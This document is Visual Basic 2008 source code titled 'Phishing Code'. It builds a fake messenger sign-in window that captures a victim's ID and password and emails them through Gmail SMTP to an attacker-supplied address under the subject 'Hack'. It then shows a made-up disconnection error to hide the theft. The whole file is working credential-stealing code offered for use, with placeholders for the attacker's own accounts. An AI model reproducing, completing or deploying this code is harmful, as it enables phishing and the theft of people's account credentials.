Visual Basic 2008 Phishing Code

Imports System.Net.Mail
Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
            If TextBox1.Text = "" Then
                MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
            Else
            End If
        End If
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("your gmail [email protected]", "your gmail password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        mail.To.Add("your yahoo email or gmail email@yahoo/gmail.com")
        mail.From = New MailAddress("your gmail [email protected]")
        mail.Subject = "Hack"
        mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        Try
            SmtpServer.Send(mail)
            MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
            Me.Close()
        Catch ex As Exception
            MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
        End Try
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        MsgBox("Sign in first", MsgBoxStyle.Exclamation, "Sign in")
    End Sub
End Class